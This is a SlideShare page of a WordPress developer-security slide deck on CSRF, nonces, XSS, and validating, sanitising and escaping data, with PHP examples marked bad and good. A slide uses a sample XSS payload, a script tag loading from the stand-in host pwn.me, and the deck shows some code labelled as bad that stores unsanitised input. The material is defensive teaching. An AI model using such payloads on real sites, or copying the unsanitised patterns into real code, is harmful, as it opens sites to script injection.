SlideShare a Scribd company logo
1 of 25
Download to read offline
SAFELY HANDLING DATA SO YOU DON’T GET PWND
DEVELOPER SECURITY
SUCURI SECURITY
TONY “LIVE HACK” PEREZ
BRO. IF YOU DON’T ESCAPE YOUR DATA,
YOU’LL NEVER ESCAPE THE HURT I’M
GOING TO PUT ON YOU.
Tony Perez (probably said that)
IN CASE YOU NEEDED MORE REASONS…
SUCURI SECURITY
DRE “I’LL CHOKE YOU” ARMEDA
LOOK, THERE ARE BAD PEOPLE OUT THERE TRYING ALL
SORTS OF SALTY STUFF TO PWN YOUR SITE. YOU’RE NOT
GOING TO BE READY FOR THAT? COME ON NOW…DON’T LET
THEM MAKE YOU LOOK SILLY. ALSO, DON’T TOUCH MY HAT.
Dre Armeda (might have said that)
IN CASE YOU NEEDED MORE REASONS…
SO HOW DO YOU PROTECT YOURSELF?
WATCH THIS. IT’S AN
OLDIE, BUT A GOODIE.
http://wordpress.tv/2011/01/29/mark-jaquith-theme-plugin-security/
THAT GUY, MARK JAQUITH, PWNED A PLUGIN I WROTE LIVE
ON STAGE DURING A PLUGIN COMPETITION AT WORDCAMP
NYC IN 2009, AND IT WOKE ME UP.
READ THIS
HTTP://WP.TUTSPLUS.COM/TUTORIALS/CREATIVE-CODING/DATA-SANITIZATION-AND-VALIDATION-WITH-WORDPRESS/
IF YOU’RE GOING TO CHECK OUT NOW, HERE’S THE TL;DR
6 THINGS TO KEEP IN MIND WHEN WRITING CODE, NUMBER 2 WILL SHOCK YOU!
▸ Keep your dev environment clean
▸ Use WordPress Core code instead of custom code whenever possible
▸ Validate referrers
▸ Validate data inputs
▸ Sanitize data inputs
▸ Escape data outputs
KEEP YOUR DEV ENVIRONMENT CLEAN
MAC, LINUX, OR PC – IT DOESN’T MATTER
▸ Don’t think that just because you’re on a mac you’re safe from viruses.
▸ If you’re running linux, a lot of the responsibility of security is on you. Make
sure all of your system software is patched and up to date.
▸ If you’re on a PC, you should assume you’re already pwned.
KEEP YOUR DEV ENVIRONMENT CLEAN
KASPERSKY ANTI-VIRUS
▸ I use it.
▸ Dre uses it.
▸ Tony uses it.
▸ You should be using it.
WORDPRESS CORE CODE VS. YOUR CODE
WORDPRESS CORE
$request = wp_remote_get( $url );
$data = wp_remote_retrieve_body( $request );
YOUR CODE
$ch = curl_init();

$timeout = 5;

curl_setopt( $ch, CURLOPT_URL, $url );

curl_setopt( $ch,
CURLOPT_RETURNTRANSFER, 1 );
curl_setopt( $ch,
CURLOPT_CONNECTTIMEOUT, $timeout );
$data = curl_exec( $ch );

curl_close( $ch );
TRUST NO ONE, TRUST NOTHING
CSRF: CROSS-SITE REQUEST FORGERY
HTTP://EN.WIKIPEDIA.ORG/WIKI/CROSS-SITE_REQUEST_FORGERY
▸ Cross-site request forgery, also known as a one-click attack or session riding
and abbreviated as CSRF (sometimes pronounced sea-surf[1]) or XSRF, is a
type of malicious exploit of a website whereby unauthorized commands are
transmitted from a user that the website trusts.[2] Unlike cross-site scripting
(XSS), which exploits the trust a user has for a particular site, CSRF exploits the
trust that a site has in a user's browser.
SWEET, THIS COULD LEAD TO MY NEXT BIG DEAL! CONFIRM!
ZOMG…WTF?!
http://mysite.com/wp-admin/post.php?post=307&action=trash
NONCES FTW!
▸ Create the nonce
▸ wp_nonce_url() - for links
▸ wp_create_nonce() - generates just the nonce value
▸ wp_nonce_field() - generates entire html hidden element
▸ Verify the request
▸ wp_verify_nonce() - validates the nonce for correctness and expiration
▸ check_admin_referer() - also checks if request came from another admin screen
XSS: CROSS-SITE SCRIPTING
HTTP://EN.WIKIPEDIA.ORG/WIKI/CROSS-SITE_SCRIPTING
▸ Cross-site scripting (XSS) is a type of computer security vulnerability typically
found in Web applications. XSS enables attackers to inject client-side script into
Web pages viewed by other users. A cross-site scripting vulnerability may be
used by attackers to bypass access controls such as the same origin policy.
Cross-site scripting carried out on websites accounted for roughly 84% of all
security vulnerabilities documented by Symantec as of 2007.[1] Their effect
may range from a petty nuisance to a significant security risk, depending on
the sensitivity of the data handled by the vulnerable site and the nature of any
security mitigation implemented by the site's owner.
HOW TO MAINTAIN SAFE DATA
▸ Validate user input – verify data entered is in the proper format
▸ Sanitize data before saving – remove evil content in your data
▸ Escape dynamic data before output – the data can’t be used against a user
WHITELIST DATA – ONLY ACCEPT KNOWN DATA
$_POST = array(
'pwn' => '<script src="http://pwn.me/u.js"></script>',
'e' => 'email@domain.com'
);
// bad
foreach( $_POST as $key => $val ) {
update_post_meta( $id, $key, $val );
}
// good
update_post_meta( $id, 'e', sanitize_email( $_POST['e'] ) );
BLACKLIST DATA – ONLY ACCEPT DATA IF IT’S IN THE PROPER FORMAT
$_POST = array(
'e' => 'email@domain.com'
);
// bad
update_post_meta( $id, 'e', $_POST['e'] );
// good
if ( is_email( $_POST['e'] ) ) {
update_post_meta( $id, 'e', sanitize_email( $_POST['e'] ) );
}
SANITIZE USER GENERATED DATA - CAN CHANGE DATA AND CAUSE UNEXPECTED RESULTS
// bad
update_post_meta( $id, 'data', $_POST['name'] );
// good
$safe_text_field = sanitize_text_field( $_POST['name'] );
update_post_meta( $id, 'data', $safe_text_field );
ESCAPE DYNAMIC DATA ON OUTPUT – BAD DATA WILL BE TAMED IN A CONTEXT FRIENDLY WAY
$dynamic_data = get_post_meta( $id, 'data', true );
// bad
echo $dynamic_data;
// good
echo esc_html( $dynamic_data );
HELPFUL LINKS
▸ http://wordpress.tv/2011/01/29/mark-jaquith-theme-plugin-security/
▸ http://wp.tutsplus.com/tutorials/creative-coding/data-sanitization-and-validation-with-wordpress/
▸ https://codex.wordpress.org/Validating_Sanitizing_and_Escaping_User_Data
▸ http://codex.wordpress.org/Data_Validation
▸ http://codex.wordpress.org/WordPress_Nonces
▸ https://developer.wordpress.org/plugins/security/
▸ https://wordpress.org/about/security/
▸ http://en.wikipedia.org/wiki/Cross-site_scripting
▸ http://en.wikipedia.org/wiki/Cross-site_request_forgery

More Related Content

Similar to Developer Security for WordPress

Dip Your Toes in the Sea of Security (PHP Cambridge)
Dip Your Toes in the Sea of Security (PHP Cambridge)Dip Your Toes in the Sea of Security (PHP Cambridge)
Dip Your Toes in the Sea of Security (PHP Cambridge)James Titcumb
 
Security and Mobility - WordCamp Porto 2016
Security and Mobility - WordCamp Porto 2016Security and Mobility - WordCamp Porto 2016
Security and Mobility - WordCamp Porto 2016Marcel Schmitz
 
Dip Your Toes in the Sea of Security (DPC 2015)
Dip Your Toes in the Sea of Security (DPC 2015)Dip Your Toes in the Sea of Security (DPC 2015)
Dip Your Toes in the Sea of Security (DPC 2015)James Titcumb
 
Building Modern and Secure PHP Applications – Codementor Office Hours with Be...
Building Modern and Secure PHP Applications – Codementor Office Hours with Be...Building Modern and Secure PHP Applications – Codementor Office Hours with Be...
Building Modern and Secure PHP Applications – Codementor Office Hours with Be...Arc & Codementor
 
Web application security
Web application securityWeb application security
Web application securityRavi Raj
 
Applications secure by default
Applications secure by defaultApplications secure by default
Applications secure by defaultSlawomir Jasek
 
Applications secure by default
Applications secure by defaultApplications secure by default
Applications secure by defaultSecuRing
 
Drupal Camp Atlanta 2011 - Drupal Security
Drupal Camp Atlanta 2011 - Drupal SecurityDrupal Camp Atlanta 2011 - Drupal Security
Drupal Camp Atlanta 2011 - Drupal SecurityMediacurrent
 
Eight simple rules to writing secure PHP programs
Eight simple rules to writing secure PHP programsEight simple rules to writing secure PHP programs
Eight simple rules to writing secure PHP programsAleksandr Yampolskiy
 
Php Security By Mugdha And Anish
Php Security By Mugdha And AnishPhp Security By Mugdha And Anish
Php Security By Mugdha And AnishOSSCube
 
Dip Your Toes in the Sea of Security (PHP UK 2016)
Dip Your Toes in the Sea of Security (PHP UK 2016)Dip Your Toes in the Sea of Security (PHP UK 2016)
Dip Your Toes in the Sea of Security (PHP UK 2016)James Titcumb
 
Security in cloud
Security in cloudSecurity in cloud
Security in cloudvikash4225
 
Adversary tactics config mgmt-&amp;-logs-oh-my
Adversary tactics config mgmt-&amp;-logs-oh-myAdversary tactics config mgmt-&amp;-logs-oh-my
Adversary tactics config mgmt-&amp;-logs-oh-myJesse Moore
 
Putting Rugged Into your DevOps Toolchain
Putting Rugged Into your DevOps ToolchainPutting Rugged Into your DevOps Toolchain
Putting Rugged Into your DevOps ToolchainJames Wickett
 
2009 Barcamp Nashville Web Security 101
2009 Barcamp Nashville   Web Security 1012009 Barcamp Nashville   Web Security 101
2009 Barcamp Nashville Web Security 101brian_dailey
 
WordPress End-User Security - WordCamp Las Vegas 2011
WordPress End-User Security - WordCamp Las Vegas 2011WordPress End-User Security - WordCamp Las Vegas 2011
WordPress End-User Security - WordCamp Las Vegas 2011Dre Armeda
 
My app is secure... I think
My app is secure... I thinkMy app is secure... I think
My app is secure... I thinkWim Godden
 

Similar to Developer Security for WordPress (20)

Dip Your Toes in the Sea of Security (PHP Cambridge)
Dip Your Toes in the Sea of Security (PHP Cambridge)Dip Your Toes in the Sea of Security (PHP Cambridge)
Dip Your Toes in the Sea of Security (PHP Cambridge)
 
Security and Mobility - WordCamp Porto 2016
Security and Mobility - WordCamp Porto 2016Security and Mobility - WordCamp Porto 2016
Security and Mobility - WordCamp Porto 2016
 
Dip Your Toes in the Sea of Security (DPC 2015)
Dip Your Toes in the Sea of Security (DPC 2015)Dip Your Toes in the Sea of Security (DPC 2015)
Dip Your Toes in the Sea of Security (DPC 2015)
 
H4x0rs gonna hack
H4x0rs gonna hackH4x0rs gonna hack
H4x0rs gonna hack
 
Building Modern and Secure PHP Applications – Codementor Office Hours with Be...
Building Modern and Secure PHP Applications – Codementor Office Hours with Be...Building Modern and Secure PHP Applications – Codementor Office Hours with Be...
Building Modern and Secure PHP Applications – Codementor Office Hours with Be...
 
Web application security
Web application securityWeb application security
Web application security
 
PHPUG Presentation
PHPUG PresentationPHPUG Presentation
PHPUG Presentation
 
Applications secure by default
Applications secure by defaultApplications secure by default
Applications secure by default
 
Applications secure by default
Applications secure by defaultApplications secure by default
Applications secure by default
 
Php Security
Php SecurityPhp Security
Php Security
 
Drupal Camp Atlanta 2011 - Drupal Security
Drupal Camp Atlanta 2011 - Drupal SecurityDrupal Camp Atlanta 2011 - Drupal Security
Drupal Camp Atlanta 2011 - Drupal Security
 
Eight simple rules to writing secure PHP programs
Eight simple rules to writing secure PHP programsEight simple rules to writing secure PHP programs
Eight simple rules to writing secure PHP programs
 
Php Security By Mugdha And Anish
Php Security By Mugdha And AnishPhp Security By Mugdha And Anish
Php Security By Mugdha And Anish
 
Dip Your Toes in the Sea of Security (PHP UK 2016)
Dip Your Toes in the Sea of Security (PHP UK 2016)Dip Your Toes in the Sea of Security (PHP UK 2016)
Dip Your Toes in the Sea of Security (PHP UK 2016)
 
Security in cloud
Security in cloudSecurity in cloud
Security in cloud
 
Adversary tactics config mgmt-&amp;-logs-oh-my
Adversary tactics config mgmt-&amp;-logs-oh-myAdversary tactics config mgmt-&amp;-logs-oh-my
Adversary tactics config mgmt-&amp;-logs-oh-my
 
Putting Rugged Into your DevOps Toolchain
Putting Rugged Into your DevOps ToolchainPutting Rugged Into your DevOps Toolchain
Putting Rugged Into your DevOps Toolchain
 
2009 Barcamp Nashville Web Security 101
2009 Barcamp Nashville   Web Security 1012009 Barcamp Nashville   Web Security 101
2009 Barcamp Nashville Web Security 101
 
WordPress End-User Security - WordCamp Las Vegas 2011
WordPress End-User Security - WordCamp Las Vegas 2011WordPress End-User Security - WordCamp Las Vegas 2011
WordPress End-User Security - WordCamp Las Vegas 2011
 
My app is secure... I think
My app is secure... I thinkMy app is secure... I think
My app is secure... I think
 

Recently uploaded

Call Girls in Nagpur Suman Call 7001035870 Meet With Nagpur Escorts
Call Girls in Nagpur Suman Call 7001035870 Meet With Nagpur EscortsCall Girls in Nagpur Suman Call 7001035870 Meet With Nagpur Escorts
Call Girls in Nagpur Suman Call 7001035870 Meet With Nagpur EscortsCall Girls in Nagpur High Profile
 
Java Programming :Event Handling(Types of Events)
Java Programming :Event Handling(Types of Events)Java Programming :Event Handling(Types of Events)
Java Programming :Event Handling(Types of Events)simmis5
 
Porous Ceramics seminar and technical writing
Porous Ceramics seminar and technical writingPorous Ceramics seminar and technical writing
Porous Ceramics seminar and technical writingrakeshbaidya232001
 
Software Development Life Cycle By Team Orange (Dept. of Pharmacy)
Software Development Life Cycle By  Team Orange (Dept. of Pharmacy)Software Development Life Cycle By  Team Orange (Dept. of Pharmacy)
Software Development Life Cycle By Team Orange (Dept. of Pharmacy)Suman Mia
 
(ANJALI) Dange Chowk Call Girls Just Call 7001035870 [ Cash on Delivery ] Pun...
(ANJALI) Dange Chowk Call Girls Just Call 7001035870 [ Cash on Delivery ] Pun...(ANJALI) Dange Chowk Call Girls Just Call 7001035870 [ Cash on Delivery ] Pun...
(ANJALI) Dange Chowk Call Girls Just Call 7001035870 [ Cash on Delivery ] Pun...ranjana rawat
 
OSVC_Meta-Data based Simulation Automation to overcome Verification Challenge...
OSVC_Meta-Data based Simulation Automation to overcome Verification Challenge...OSVC_Meta-Data based Simulation Automation to overcome Verification Challenge...
OSVC_Meta-Data based Simulation Automation to overcome Verification Challenge...Soham Mondal
 
MANUFACTURING PROCESS-II UNIT-5 NC MACHINE TOOLS
MANUFACTURING PROCESS-II UNIT-5 NC MACHINE TOOLSMANUFACTURING PROCESS-II UNIT-5 NC MACHINE TOOLS
MANUFACTURING PROCESS-II UNIT-5 NC MACHINE TOOLSSIVASHANKAR N
 
Introduction to Multiple Access Protocol.pptx
Introduction to Multiple Access Protocol.pptxIntroduction to Multiple Access Protocol.pptx
Introduction to Multiple Access Protocol.pptxupamatechverse
 
Coefficient of Thermal Expansion and their Importance.pptx
Coefficient of Thermal Expansion and their Importance.pptxCoefficient of Thermal Expansion and their Importance.pptx
Coefficient of Thermal Expansion and their Importance.pptxAsutosh Ranjan
 
College Call Girls Nashik Nehal 7001305949 Independent Escort Service Nashik
College Call Girls Nashik Nehal 7001305949 Independent Escort Service NashikCollege Call Girls Nashik Nehal 7001305949 Independent Escort Service Nashik
College Call Girls Nashik Nehal 7001305949 Independent Escort Service NashikCall Girls in Nagpur High Profile
 
Introduction to IEEE STANDARDS and its different types.pptx
Introduction to IEEE STANDARDS and its different types.pptxIntroduction to IEEE STANDARDS and its different types.pptx
Introduction to IEEE STANDARDS and its different types.pptxupamatechverse
 
(MEERA) Dapodi Call Girls Just Call 7001035870 [ Cash on Delivery ] Pune Escorts
(MEERA) Dapodi Call Girls Just Call 7001035870 [ Cash on Delivery ] Pune Escorts(MEERA) Dapodi Call Girls Just Call 7001035870 [ Cash on Delivery ] Pune Escorts
(MEERA) Dapodi Call Girls Just Call 7001035870 [ Cash on Delivery ] Pune Escortsranjana rawat
 
(RIA) Call Girls Bhosari ( 7001035870 ) HI-Fi Pune Escorts Service
(RIA) Call Girls Bhosari ( 7001035870 ) HI-Fi Pune Escorts Service(RIA) Call Girls Bhosari ( 7001035870 ) HI-Fi Pune Escorts Service
(RIA) Call Girls Bhosari ( 7001035870 ) HI-Fi Pune Escorts Serviceranjana rawat
 
VIP Call Girls Service Hitech City Hyderabad Call +91-8250192130
VIP Call Girls Service Hitech City Hyderabad Call +91-8250192130VIP Call Girls Service Hitech City Hyderabad Call +91-8250192130
VIP Call Girls Service Hitech City Hyderabad Call +91-8250192130Suhani Kapoor
 
CCS335 _ Neural Networks and Deep Learning Laboratory_Lab Complete Record
CCS335 _ Neural Networks and Deep Learning Laboratory_Lab Complete RecordCCS335 _ Neural Networks and Deep Learning Laboratory_Lab Complete Record
CCS335 _ Neural Networks and Deep Learning Laboratory_Lab Complete RecordAsst.prof M.Gokilavani
 
Booking open Available Pune Call Girls Koregaon Park 6297143586 Call Hot Ind...
Booking open Available Pune Call Girls Koregaon Park  6297143586 Call Hot Ind...Booking open Available Pune Call Girls Koregaon Park  6297143586 Call Hot Ind...
Booking open Available Pune Call Girls Koregaon Park 6297143586 Call Hot Ind...Call Girls in Nagpur High Profile
 
Call for Papers - African Journal of Biological Sciences, E-ISSN: 2663-2187, ...
Call for Papers - African Journal of Biological Sciences, E-ISSN: 2663-2187, ...Call for Papers - African Journal of Biological Sciences, E-ISSN: 2663-2187, ...
Call for Papers - African Journal of Biological Sciences, E-ISSN: 2663-2187, ...Christo Ananth
 
Microscopic Analysis of Ceramic Materials.pptx
Microscopic Analysis of Ceramic Materials.pptxMicroscopic Analysis of Ceramic Materials.pptx
Microscopic Analysis of Ceramic Materials.pptxpurnimasatapathy1234
 

Recently uploaded (20)

Call Girls in Nagpur Suman Call 7001035870 Meet With Nagpur Escorts
Call Girls in Nagpur Suman Call 7001035870 Meet With Nagpur EscortsCall Girls in Nagpur Suman Call 7001035870 Meet With Nagpur Escorts
Call Girls in Nagpur Suman Call 7001035870 Meet With Nagpur Escorts
 
Java Programming :Event Handling(Types of Events)
Java Programming :Event Handling(Types of Events)Java Programming :Event Handling(Types of Events)
Java Programming :Event Handling(Types of Events)
 
Porous Ceramics seminar and technical writing
Porous Ceramics seminar and technical writingPorous Ceramics seminar and technical writing
Porous Ceramics seminar and technical writing
 
Water Industry Process Automation & Control Monthly - April 2024
Water Industry Process Automation & Control Monthly - April 2024Water Industry Process Automation & Control Monthly - April 2024
Water Industry Process Automation & Control Monthly - April 2024
 
Software Development Life Cycle By Team Orange (Dept. of Pharmacy)
Software Development Life Cycle By  Team Orange (Dept. of Pharmacy)Software Development Life Cycle By  Team Orange (Dept. of Pharmacy)
Software Development Life Cycle By Team Orange (Dept. of Pharmacy)
 
(ANJALI) Dange Chowk Call Girls Just Call 7001035870 [ Cash on Delivery ] Pun...
(ANJALI) Dange Chowk Call Girls Just Call 7001035870 [ Cash on Delivery ] Pun...(ANJALI) Dange Chowk Call Girls Just Call 7001035870 [ Cash on Delivery ] Pun...
(ANJALI) Dange Chowk Call Girls Just Call 7001035870 [ Cash on Delivery ] Pun...
 
OSVC_Meta-Data based Simulation Automation to overcome Verification Challenge...
OSVC_Meta-Data based Simulation Automation to overcome Verification Challenge...OSVC_Meta-Data based Simulation Automation to overcome Verification Challenge...
OSVC_Meta-Data based Simulation Automation to overcome Verification Challenge...
 
MANUFACTURING PROCESS-II UNIT-5 NC MACHINE TOOLS
MANUFACTURING PROCESS-II UNIT-5 NC MACHINE TOOLSMANUFACTURING PROCESS-II UNIT-5 NC MACHINE TOOLS
MANUFACTURING PROCESS-II UNIT-5 NC MACHINE TOOLS
 
Introduction to Multiple Access Protocol.pptx
Introduction to Multiple Access Protocol.pptxIntroduction to Multiple Access Protocol.pptx
Introduction to Multiple Access Protocol.pptx
 
Coefficient of Thermal Expansion and their Importance.pptx
Coefficient of Thermal Expansion and their Importance.pptxCoefficient of Thermal Expansion and their Importance.pptx
Coefficient of Thermal Expansion and their Importance.pptx
 
College Call Girls Nashik Nehal 7001305949 Independent Escort Service Nashik
College Call Girls Nashik Nehal 7001305949 Independent Escort Service NashikCollege Call Girls Nashik Nehal 7001305949 Independent Escort Service Nashik
College Call Girls Nashik Nehal 7001305949 Independent Escort Service Nashik
 
Introduction to IEEE STANDARDS and its different types.pptx
Introduction to IEEE STANDARDS and its different types.pptxIntroduction to IEEE STANDARDS and its different types.pptx
Introduction to IEEE STANDARDS and its different types.pptx
 
(MEERA) Dapodi Call Girls Just Call 7001035870 [ Cash on Delivery ] Pune Escorts
(MEERA) Dapodi Call Girls Just Call 7001035870 [ Cash on Delivery ] Pune Escorts(MEERA) Dapodi Call Girls Just Call 7001035870 [ Cash on Delivery ] Pune Escorts
(MEERA) Dapodi Call Girls Just Call 7001035870 [ Cash on Delivery ] Pune Escorts
 
(RIA) Call Girls Bhosari ( 7001035870 ) HI-Fi Pune Escorts Service
(RIA) Call Girls Bhosari ( 7001035870 ) HI-Fi Pune Escorts Service(RIA) Call Girls Bhosari ( 7001035870 ) HI-Fi Pune Escorts Service
(RIA) Call Girls Bhosari ( 7001035870 ) HI-Fi Pune Escorts Service
 
VIP Call Girls Service Hitech City Hyderabad Call +91-8250192130
VIP Call Girls Service Hitech City Hyderabad Call +91-8250192130VIP Call Girls Service Hitech City Hyderabad Call +91-8250192130
VIP Call Girls Service Hitech City Hyderabad Call +91-8250192130
 
CCS335 _ Neural Networks and Deep Learning Laboratory_Lab Complete Record
CCS335 _ Neural Networks and Deep Learning Laboratory_Lab Complete RecordCCS335 _ Neural Networks and Deep Learning Laboratory_Lab Complete Record
CCS335 _ Neural Networks and Deep Learning Laboratory_Lab Complete Record
 
Booking open Available Pune Call Girls Koregaon Park 6297143586 Call Hot Ind...
Booking open Available Pune Call Girls Koregaon Park  6297143586 Call Hot Ind...Booking open Available Pune Call Girls Koregaon Park  6297143586 Call Hot Ind...
Booking open Available Pune Call Girls Koregaon Park 6297143586 Call Hot Ind...
 
Call for Papers - African Journal of Biological Sciences, E-ISSN: 2663-2187, ...
Call for Papers - African Journal of Biological Sciences, E-ISSN: 2663-2187, ...Call for Papers - African Journal of Biological Sciences, E-ISSN: 2663-2187, ...
Call for Papers - African Journal of Biological Sciences, E-ISSN: 2663-2187, ...
 
Microscopic Analysis of Ceramic Materials.pptx
Microscopic Analysis of Ceramic Materials.pptxMicroscopic Analysis of Ceramic Materials.pptx
Microscopic Analysis of Ceramic Materials.pptx
 
DJARUM4D - SLOT GACOR ONLINE | SLOT DEMO ONLINE
DJARUM4D - SLOT GACOR ONLINE | SLOT DEMO ONLINEDJARUM4D - SLOT GACOR ONLINE | SLOT DEMO ONLINE
DJARUM4D - SLOT GACOR ONLINE | SLOT DEMO ONLINE
 

Developer Security for WordPress

  • 1. SAFELY HANDLING DATA SO YOU DON’T GET PWND DEVELOPER SECURITY
  • 3. BRO. IF YOU DON’T ESCAPE YOUR DATA, YOU’LL NEVER ESCAPE THE HURT I’M GOING TO PUT ON YOU. Tony Perez (probably said that) IN CASE YOU NEEDED MORE REASONS…
  • 4. SUCURI SECURITY DRE “I’LL CHOKE YOU” ARMEDA
  • 5. LOOK, THERE ARE BAD PEOPLE OUT THERE TRYING ALL SORTS OF SALTY STUFF TO PWN YOUR SITE. YOU’RE NOT GOING TO BE READY FOR THAT? COME ON NOW…DON’T LET THEM MAKE YOU LOOK SILLY. ALSO, DON’T TOUCH MY HAT. Dre Armeda (might have said that) IN CASE YOU NEEDED MORE REASONS…
  • 6. SO HOW DO YOU PROTECT YOURSELF?
  • 7. WATCH THIS. IT’S AN OLDIE, BUT A GOODIE. http://wordpress.tv/2011/01/29/mark-jaquith-theme-plugin-security/
  • 8. THAT GUY, MARK JAQUITH, PWNED A PLUGIN I WROTE LIVE ON STAGE DURING A PLUGIN COMPETITION AT WORDCAMP NYC IN 2009, AND IT WOKE ME UP.
  • 10. IF YOU’RE GOING TO CHECK OUT NOW, HERE’S THE TL;DR 6 THINGS TO KEEP IN MIND WHEN WRITING CODE, NUMBER 2 WILL SHOCK YOU! ▸ Keep your dev environment clean ▸ Use WordPress Core code instead of custom code whenever possible ▸ Validate referrers ▸ Validate data inputs ▸ Sanitize data inputs ▸ Escape data outputs
  • 11. KEEP YOUR DEV ENVIRONMENT CLEAN MAC, LINUX, OR PC – IT DOESN’T MATTER ▸ Don’t think that just because you’re on a mac you’re safe from viruses. ▸ If you’re running linux, a lot of the responsibility of security is on you. Make sure all of your system software is patched and up to date. ▸ If you’re on a PC, you should assume you’re already pwned.
  • 12. KEEP YOUR DEV ENVIRONMENT CLEAN KASPERSKY ANTI-VIRUS ▸ I use it. ▸ Dre uses it. ▸ Tony uses it. ▸ You should be using it.
  • 13. WORDPRESS CORE CODE VS. YOUR CODE WORDPRESS CORE $request = wp_remote_get( $url ); $data = wp_remote_retrieve_body( $request ); YOUR CODE $ch = curl_init();
 $timeout = 5;
 curl_setopt( $ch, CURLOPT_URL, $url );
 curl_setopt( $ch, CURLOPT_RETURNTRANSFER, 1 ); curl_setopt( $ch, CURLOPT_CONNECTTIMEOUT, $timeout ); $data = curl_exec( $ch );
 curl_close( $ch );
  • 14. TRUST NO ONE, TRUST NOTHING
  • 15. CSRF: CROSS-SITE REQUEST FORGERY HTTP://EN.WIKIPEDIA.ORG/WIKI/CROSS-SITE_REQUEST_FORGERY ▸ Cross-site request forgery, also known as a one-click attack or session riding and abbreviated as CSRF (sometimes pronounced sea-surf[1]) or XSRF, is a type of malicious exploit of a website whereby unauthorized commands are transmitted from a user that the website trusts.[2] Unlike cross-site scripting (XSS), which exploits the trust a user has for a particular site, CSRF exploits the trust that a site has in a user's browser.
  • 16. SWEET, THIS COULD LEAD TO MY NEXT BIG DEAL! CONFIRM!
  • 18. NONCES FTW! ▸ Create the nonce ▸ wp_nonce_url() - for links ▸ wp_create_nonce() - generates just the nonce value ▸ wp_nonce_field() - generates entire html hidden element ▸ Verify the request ▸ wp_verify_nonce() - validates the nonce for correctness and expiration ▸ check_admin_referer() - also checks if request came from another admin screen
  • 19. XSS: CROSS-SITE SCRIPTING HTTP://EN.WIKIPEDIA.ORG/WIKI/CROSS-SITE_SCRIPTING ▸ Cross-site scripting (XSS) is a type of computer security vulnerability typically found in Web applications. XSS enables attackers to inject client-side script into Web pages viewed by other users. A cross-site scripting vulnerability may be used by attackers to bypass access controls such as the same origin policy. Cross-site scripting carried out on websites accounted for roughly 84% of all security vulnerabilities documented by Symantec as of 2007.[1] Their effect may range from a petty nuisance to a significant security risk, depending on the sensitivity of the data handled by the vulnerable site and the nature of any security mitigation implemented by the site's owner.
  • 20. HOW TO MAINTAIN SAFE DATA ▸ Validate user input – verify data entered is in the proper format ▸ Sanitize data before saving – remove evil content in your data ▸ Escape dynamic data before output – the data can’t be used against a user
  • 21. WHITELIST DATA – ONLY ACCEPT KNOWN DATA $_POST = array( 'pwn' => '<script src="http://pwn.me/u.js"></script>', 'e' => 'email@domain.com' ); // bad foreach( $_POST as $key => $val ) { update_post_meta( $id, $key, $val ); } // good update_post_meta( $id, 'e', sanitize_email( $_POST['e'] ) );
  • 22. BLACKLIST DATA – ONLY ACCEPT DATA IF IT’S IN THE PROPER FORMAT $_POST = array( 'e' => 'email@domain.com' ); // bad update_post_meta( $id, 'e', $_POST['e'] ); // good if ( is_email( $_POST['e'] ) ) { update_post_meta( $id, 'e', sanitize_email( $_POST['e'] ) ); }
  • 23. SANITIZE USER GENERATED DATA - CAN CHANGE DATA AND CAUSE UNEXPECTED RESULTS // bad update_post_meta( $id, 'data', $_POST['name'] ); // good $safe_text_field = sanitize_text_field( $_POST['name'] ); update_post_meta( $id, 'data', $safe_text_field );
  • 24. ESCAPE DYNAMIC DATA ON OUTPUT – BAD DATA WILL BE TAMED IN A CONTEXT FRIENDLY WAY $dynamic_data = get_post_meta( $id, 'data', true ); // bad echo $dynamic_data; // good echo esc_html( $dynamic_data );
  • 25. HELPFUL LINKS ▸ http://wordpress.tv/2011/01/29/mark-jaquith-theme-plugin-security/ ▸ http://wp.tutsplus.com/tutorials/creative-coding/data-sanitization-and-validation-with-wordpress/ ▸ https://codex.wordpress.org/Validating_Sanitizing_and_Escaping_User_Data ▸ http://codex.wordpress.org/Data_Validation ▸ http://codex.wordpress.org/WordPress_Nonces ▸ https://developer.wordpress.org/plugins/security/ ▸ https://wordpress.org/about/security/ ▸ http://en.wikipedia.org/wiki/Cross-site_scripting ▸ http://en.wikipedia.org/wiki/Cross-site_request_forgery